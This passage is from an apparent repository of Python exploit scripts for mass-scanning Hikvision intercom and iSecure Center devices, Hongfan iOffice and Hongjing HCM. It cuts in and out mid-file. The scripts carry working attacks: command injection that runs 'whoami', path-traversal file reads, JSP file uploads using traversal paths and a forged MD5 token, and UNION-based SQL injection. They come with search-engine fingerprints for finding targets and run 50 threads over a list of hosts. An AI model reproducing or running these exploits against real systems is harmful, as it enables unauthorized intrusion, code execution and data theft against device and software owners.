rv:109.0) Gecko/20100101 Firefox/111.0", 53 | "Host": "%s" % host2, 54 | "Cookie":"%s"%cookies 55 | } 56 | 57 | r3=requests.get(url+"/main/main.jsp",headers=headers2) 58 | if "系统配置" in r3.text: 59 | print(url+payload2+"\ncookies:"+r2.headers['Set-Cookie']) 60 | else: 61 | return 0 62 | print (host+":false") 63 | except: 64 | pass 65 | #print (host+":false") 66 | 67 | if __name__ == '__main__': 68 | file = sys.argv[1] 69 | data = open(file) 70 | reader = csv.reader(data) 71 | with ThreadPoolExecutor(50) as pool: 72 | for row in reader: 73 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Hikvison_IP_Duijiang_Ping_Rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # fofa：icon_hash="-1830859634" 6 | # zoomeye: iconhash: "e854b2eaa9e4685a95d8052d5e3165bc" 7 | # hunter: web.title=="IP Intercom & PA System" 8 | 9 | import sys 10 | import requests 11 | import csv 12 | import urllib3 13 | import hashlib 14 | from concurrent.futures import ThreadPoolExecutor 15 | 16 | if len(sys.argv) != 2: 17 | print( 18 | '+----------------------------------------------------------------------------------------------------------+') 19 | print( 20 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 21 | print( 22 | '+-------------------------------------------------------------------------------------------------- -------+') 23 | print( 24 | '+ USE: python3 +') 25 | print( 26 | '+ EXP: python3 Hikvison_IP_Duijiang_Ping_Rce.py url.txt +') 27 | print( 28 | '+-------------------------------------------------------------------------------------------------- --------+') 29 | sys.exit() 30 | proxysdata = { 31 | 'http': '127.0.0.1:8080' 32 | } 33 | def poc(host): 34 | if "http" in host: 35 | url = host 36 | else: 37 | url ="http://"+host 38 | host1=url.replace("http://","") 39 | host2=host1.replace("https://","") 40 | headers = { 41 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Chrome/83.0.4103.116 Safari/537.36", 42 | "Accept-Encoding":"gzip, deflate", 43 | "Accept": "*/*", 44 | "Connection":"close", 45 | "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8", 46 | "Host":"%s" % host2, 47 | "X-Requested-With": "XMLHttpRequest" 48 | 49 | } 50 | vulurl = url + "/php/ping.php" 51 | data="jsondata%5Btype%5D=99&jsondata%5Bip%5D=whoami" 52 | try: 53 | r = requests.post(vulurl, headers=headers,data=data) 54 | # print(r.content) 55 | 56 | if ("admin" or "root" in r.text) and len(r.text) > 20 and len(r.text) < 100 and "res" not in r.text and "whoami" not in r.text: 57 | print(host+str(r.text)) 58 | #print(r.text) 59 | else: 60 | return 0 61 | except: 62 | return 0 63 | 64 | 65 | if __name__ == '__main__': 66 | file = sys.argv[1] 67 | data = open(file) 68 | reader = csv.reader(data) 69 | with ThreadPoolExecutor(50) as pool: 70 | for row in reader: 71 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Hikvison_Showfile_Download_File_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # product="HIKVISION-视频编码设备接入网关" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Hikvison_Showfile_Download_File_Poc.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | proxysdata = { 29 | 'http': '127.0.0.1:8081' 30 | } 31 | def exp(host): 32 | if "http" in host: 33 | url = host 34 | else: 35 | url ="http://"+host 36 | host1=url.replace("http://","") 37 | host2=host1.replace("https://","") 38 | headers = { 39 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 40 | "Content-Type": "multipart/form-data;multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85", 41 | "Host": "%s" %host2 42 | } 43 | headers2 = { 44 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 45 | "Accept": "*/*", 46 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 47 | "Accept-Encoding": "gzip, deflate", 48 | "Host": "%s" %host2 49 | } 50 | vulurl = url + "/serverLog/showFile.php?fileName=../web/html/safe.php" 51 | try: 52 | 53 | r = requests.post(vulurl, headers=headers) 54 | if r.status_code==200 and "Code By" in r.text: 55 | print(url+" :true") 56 | else: 57 | return 0 58 | print (host+":false") 59 | except: 60 | return 0 61 | print (host+":false") 62 | 63 | 64 | if __name__ == '__main__': 65 | file = sys.argv[1] 66 | data = open(file) 67 | reader = csv.reader(data) 68 | with ThreadPoolExecutor(50) as pool: 69 | for row in reader: 70 | pool.submit(exp, row[0]) -------------------------------------------------------------------------------- /Hikvison_iSecure_Center_Report_Upload_File_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # icon_hash="-911494769" 6 | # icon_hash="-1605849932" 7 | 8 | import sys 9 | import requests 10 | import csv 11 | import urllib3 12 | import hashlib 13 | from concurrent.futures import ThreadPoolExecutor 14 | urllib3.disable_warnings() 15 | if len(sys.argv) != 2: 16 | print( 17 | '+----------------------------------------------------------------------------------------------------------+') 18 | print( 19 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 20 | print( 21 | '+----------------------------------------------------------------------------------------------------------+') 22 | print( 23 | '+ USE: python3 +') 24 | print( 25 | '+ EXP: python3 Hikvison_iSecure_Center_Report_Upload_File_Poc.py url.txt +') 26 | print( 27 | '+----------------------------------------------------------------------------------------------------------+') 28 | sys.exit() 29 | proxysdata = { 30 | 'http': '127.0.0.1:8081' 31 | } 32 | #../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp 33 | #../../../tomcat85linux64.1/webapps/els/static/test.jsp 34 | def exp(host): 35 | if "http" in host: 36 | url = host 37 | else: 38 | url ="https://"+host 39 | host1=url.replace("http://","") 40 | host2=host1.replace("https://","") 41 | headers = { 42 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 43 | "Content-Type": "multipart/form-data;boundary=----WebKitFormBoundary9PggsiM755PLa54a", 44 | "Host": "%s" %host2 45 | } 46 | headers2 = { 47 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 48 | "Accept": "*/*", 49 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 50 | "Accept-Encoding": "gzip, deflate,br", 51 | "Host": "%s" %host2 52 | } 53 | data ='------WebKitFormBoundary9PggsiM755PLa54a\r\nContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/test.jsp"\r\nContent-Type:application/zip\r\n\r\n<%out.print("test");%>\r\n\r\n------WebKitFormBoundary9PggsiM755PLa54a--' 54 | data2='------WebKitFormBoundary9PggsiM755PLa54a\r\nContent-Disposition: form-data; name="file"; filename="../../../tomcat85linux64.1/webapps/els/static/test.jsp"\r\nContent-Type:application/zip\r\n\r\n<%out.print("test");%>\r\n\r\n------WebKitFormBoundary9PggsiM755PLa54a--' 55 | vulurl = url + "/svm/api/external/report" 56 | vulurl2= url+"/portal/ui/login/..;/..;/test.jsp" 57 | vulurl3= url+"/els/static/test.jsp" 58 | try: 59 | r = requests.post(vulurl, headers=headers,data=data,verify=False) 60 | r4 = requests.post(vulurl, headers=headers,data=data2,verify=False) 61 | if "code" in r.text or "code" in r4.text : 62 | print(url+"存在上传接口") 63 | r2=requests.get(vulurl2,headers=headers2,verify=False) 64 | if r2.status_code==200 and "test" in r2.text: 65 | print(url+"/portal/ui/login/..;/..;/test.jsp") 66 | r3=requests.get(vulurl3,headers=headers2,verify=False) 67 | if r3.status_code==200 and "test" in r3.text: 68 | print(url+"/els/static/test.jsp") 69 | #print("http://"+host+":true 文件地址为："+"") 70 | else: 71 | return 0 72 | print (host+":false") 73 | except: 74 | return 0 75 | print (host+":false") 76 | 77 | 78 | if __name__ == '__main__': 79 | file = sys.argv[1] 80 | data = open(file) 81 | reader = csv.reader(data) 82 | with ThreadPoolExecutor(50) as pool: 83 | for row in reader: 84 | pool.submit(exp, row[0]) -------------------------------------------------------------------------------- /Hikvison_iSecure_Center_ResourceOperations_Upload_File_Exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # icon_hash="-911494769" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Hikvison_iSecure_Center_Upload_File.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | proxysdata = { 29 | 'http': '127.0.0.1:8080' 30 | } 31 | def exp(host): 32 | url = host 33 | headers = { 34 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 35 | "Content-Type": "multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo", 36 | "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169" 37 | } 38 | data ='------WebKitFormBoundaryGEJwiloiPo\r\nContent-Disposition: form-data; name="fileUploader";filename="mdtest.jsp"\r\nContent-Type: image/jpeg\r\n\r\nmdsec\r\n------WebKitFormBoundaryGEJwiloiPo' 39 | vulurl = "http://"+url + "/eps/api/resourceOperations/upload?token=" 40 | try: 41 | md5url="http://"+url+"/eps/api/resourceOperations/uploadsecretKeyIbuilding" 42 | token = hashlib.md5(md5url.encode(encoding='UTF-8')).hexdigest() 43 | r = requests.post(vulurl+""+token.upper(), headers=headers,data=data,verify=False,proxies=proxysdata) 44 | path = r.text.replace('\"',"").replace('{',"").replace('}',"").split('resourceUuid:')[1].split(",resourceType")[0] 45 | if r.status_code==200 and "success" in r.text : 46 | print("http://"+host+":true 文件地址为："+"{} ".format(url+"/eps/upload/"+path+".jsp")) 47 | else: 48 | return 0 49 | print (host+":false") 50 | except: 51 | print (host+":false") 52 | 53 | 54 | if __name__ == '__main__': 55 | file = sys.argv[1] 56 | data = open(file) 57 | reader = csv.reader(data) 58 | with ThreadPoolExecutor(50) as pool: 59 | for row in reader: 60 | pool.submit(exp, row[0]) -------------------------------------------------------------------------------- /Hikvison_iSecure_Center_ResourceOperations_Upload_File_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # icon_hash="-911494769" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Hikvison_iSecure_Center_Upload_File.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | def poc(host): 29 | url = host 30 | headers = { 31 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 32 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 33 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 34 | "Accept-Encoding": "gzip, deflate", 35 | "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169" 36 | } 37 | data ='service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action' 38 | vulurl = "http://"+url + "/eps/api/resourceOperations/upload" 39 | try: 40 | 41 | r = requests.post(vulurl, headers=headers,data=data) 42 | if r.status_code==200 and "token" in r.text : 43 | print("http://"+host+":true") 44 | else: 45 | return 0 46 | print (host+":false") 47 | except: 48 | print (host+":false") 49 | 50 | 51 | if __name__ == '__main__': 52 | file = sys.argv[1] 53 | data = open(file) 54 | reader = csv.reader(data) 55 | with ThreadPoolExecutor(50) as pool: 56 | for row in reader: 57 | pool.submit(poc, row[0]) 58 | -------------------------------------------------------------------------------- /Hongfan_OA_Ioffice_Udfmr_Sql_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # app="红帆-ioffice" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+-------------------------------------------------------------------------------------------------- -------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Hongfan_OA_Ioffice_Udfmr_Sql_Poc.py url.txt +') 25 | print( 26 | '+-------------------------------------------------------------------------------------------------- --------+') 27 | sys.exit() 28 | proxysdata = { 29 | 'http': '127.0.0.1:8080' 30 | } 31 | def poc(host): 32 | if "http" in host: 33 | url = host 34 | else: 35 | url ="http://"+host 36 | host1=url.replace("http://","") 37 | host2=host1.replace("https://","") 38 | headers = { 39 | "SOAPAction": '"http://tempuri.org/ioffice/udfmr/GetEmpSearch"', 40 | "Content-Type": "text/xml; charset=utf-8", 41 | "Host":"%s" % host2 42 | } 43 | vulurl = url + "/iOffice/prg/set/wss/udfmr.asmx" 44 | data=""" 45 | 46 | 47 | 48 | 49 | 1=user_name() 50 | 51 | 52 | """ 53 | 54 | 55 | try: 56 | r = requests.post(vulurl, headers=headers,data=data) 57 | #print(r.text) 58 | if r.status_code==500 and "服务器无法处理请求" in r.text : 59 | print(host+" : true") 60 | else: 61 | return 0 62 | print (host+":false") 63 | except: 64 | return 0 65 | print (host+":false") 66 | 67 | 68 | if __name__ == '__main__': 69 | file = sys.argv[1] 70 | data = open(file) 71 | reader = csv.reader(data) 72 | with ThreadPoolExecutor(50) as pool: 73 | for row in reader: 74 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Hongjing_HCM_Codesettree_Sql_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # app="HJSOFT-HCM" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+-------------------------------------------------------------------------------------------------- -------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Hongjing_HCM_Codesettree_Sql_Poc.py url.txt +') 25 | print( 26 | '+-------------------------------------------------------------------------------------------------- --------+') 27 | sys.exit() 28 | 29 | def poc(host): 30 | if "http" in host: 31 | url = host 32 | else: 33 | url ="http://"+host 34 | host1=url.replace("http://","") 35 | host2=host1.replace("https://","") 36 | headers = { 37 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 38 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 39 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 40 | "Accept-Encoding": "gzip, deflate", 41 | "Host":"%s" % host2 42 | } 43 | vulurl = url + "/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2c~40~40version~2d~2d" 44 | try: 45 | r = requests.get(vulurl, headers=headers) 46 | if r.status_code==200 and "SQL Server" in r.text : 47 | print("http://"+host+" :true"+r.text[145:185]) 48 | else: 49 | return 0 50 | print (host+":false") 51 | except: 52 | return 0 53 | print (host+":false") 54 | 55 | 56 | if __name__ == '__main__': 57 | file = sys.argv[1] 58 | data = open(file) 59 | reader = csv.reader(data) 60 | with ThreadPoolExecutor(50) as pool: 61 | for row in reader: 62 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Hongjing_HCM_KhFieldtree_Sql_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # fofa:app="HJSOFT-HCM" 6 | # FOFA：body='